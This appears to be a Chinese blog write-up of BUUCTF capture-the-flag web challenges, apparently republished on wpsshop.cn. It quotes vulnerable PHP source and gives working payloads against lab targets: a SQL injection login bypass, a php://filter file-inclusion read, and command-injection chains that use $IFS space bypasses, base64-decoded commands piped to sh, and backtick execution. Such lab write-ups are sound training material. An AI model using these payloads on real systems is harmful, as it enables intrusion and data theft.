赞
踩
此处主要在BUUCTF平台(BUUCTF在线评测)上开展刷题
靶机环境就一个用户名、密码输入框,尝试输入1&1之后,发现地址栏有变化
http://b59eea79-22c4-4800-a692-7455dbad886c.node4.buuoj.cn:81/check.php?username=1&password=1
直接输入用户名admin,密码-1‘ or 1=1#试试,flag弹出
靶机页面打开就一只猫,没找到输入框之类的,随手打开源码看看,在最底下发现一串代码:
- <!--
- $cat=$_GET['cat'];
- echo $cat;
- if($cat=='dog'){
- echo 'Syc{cat_cat_cat_cat}';
- }
- -->
看样子是要传入参数cat,而且cat的值要是dog,且试试,构造payload
http://e1658b2b-ff2f-4d53-b1f5-fe88e66785ad.node4.buuoj.cn:81/?cat=dog
flag get
[HCTF 2018]WarmUp
靶机初始页面是一个大号的滑稽笑表情,额……查看源码,里面提示一个source.php,打开之后出现代码如下:
- <?php
- highlight_file(__FILE__);
- class emmm
- {
- public static function checkFile(&$page)
- {
- $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- if (! isset($page) || !is_string($page)) {
- echo "you can't see it";
- return false;
- }
-
- if (in_array($page, $whitelist)) {
- return true;
- }
-
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
-
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
-
- if (! empty($_REQUEST['file'])
- && is_string($_REQUEST['file'])
- && emmm::checkFile($_REQUEST['file'])
- ) {
- include $_REQUEST['file'];
- exit;
- } else {
- echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
- }
里面还提示了一个hint.php,打开看看
尝试构造一个payload:
http://02e9a38c-0040-4e0b-928f-b1c2aa6e8e7f.node4.buuoj.cn:81/?file=filter://file=convert.base64.encode/read=ffffllllaaaagggg
返回
脑壳疼……打开source.php分析吧分析吧T T……
开局一个tips链接,点开看看
地址栏变为http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=flag.php
网页提示Can you find out the flag?
哦豁?查看网页源代码和F12,啥都莫得。这下有点挠头,再看了眼题目include……
感觉上是有个文件包含漏洞在里面,那么试试伪协议,构造一个payload:
http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
果然出来一串字符串,base64解密之后获得flag
flag{33b9b7d1-d771-4421-be7a-92abb34f05b2}
[ACTF2020 新生赛]Exec
靶机原始页面给了个ping输入框,结合题目exec,应该是个命令执行漏洞了
先来个127.0.0.1 | ls,回显index.php,有戏,那么就利用;构造命令行,一直到127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cd ..;ls时出现了flag文件
再来一次127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cat flag,获得flag
flag{57dea8d9-0ca7-404d-afad-774b3240fd79}
[GXYCTF2019]Ping Ping Ping
开局就给个/?ip=
???
尝试payload:/?ip=1,回显PING 1 (0.0.0.1): 56 data bytes。看起来又是命令执行漏洞了?
尝试payload:1|ls,回显
有戏,直接cat一下看看,payload:/?ip=1|cat flag.php,回显/?ip= fxck your space!
好家伙,真够文明的啊→_→,看来是过滤空格了,那么用$IFS代替空格试试,payload:/?ip=1|cat$IFSflag.php,回显/?ip= fxck your flag!
好家伙,flag也不行,看来要拼接字符串,payload:/?ip=1|x=g;cat$IFSfla$x.php,无回显。
脑壳疼……看下index.php吧
- /?ip=
- |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
- echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
- die("fxck your symbol!");
- } else if(preg_match("/ /", $ip)){
- die("fxck your space!");
- } else if(preg_match("/bash/", $ip)){
- die("fxck your bash!");
- } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
- die("fxck your flag!");
- }
- $a = shell_exec("ping -c 4 ".$ip);
- echo "
- ";
- print_r($a);
- }
- ?>
看起来过滤了一大堆符号、空格、bash,好像还把任何包含flag四个字符的payload也都过滤了。
好吧,姿势不够,问大佬吧
然后发现payload:/?ip=1;x=g;cat$IFS$9fla$x.php可用,flag在网页源码里头。
另外大佬们还研究出两种方法:
一、使用 base64 编码的方式来绕过 flag 过滤。
加密:echo “cat flag.php” | base64
解密:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
尝试输入:
/?ip=210.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
二、使用内联执行(参见RCE(远程命令执行)绕过总结_rce空格绕过_Elitewa的博客-CSDN博客)的方法:将反引号内命令的输出作为输入执行,查看源码后也能得到flag
payload:/?ip=127.0.0.1;cat$IFS$1`ls`
flag为:flag{0526e947-a9ea-41ad-b202-29106ec17f3b}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。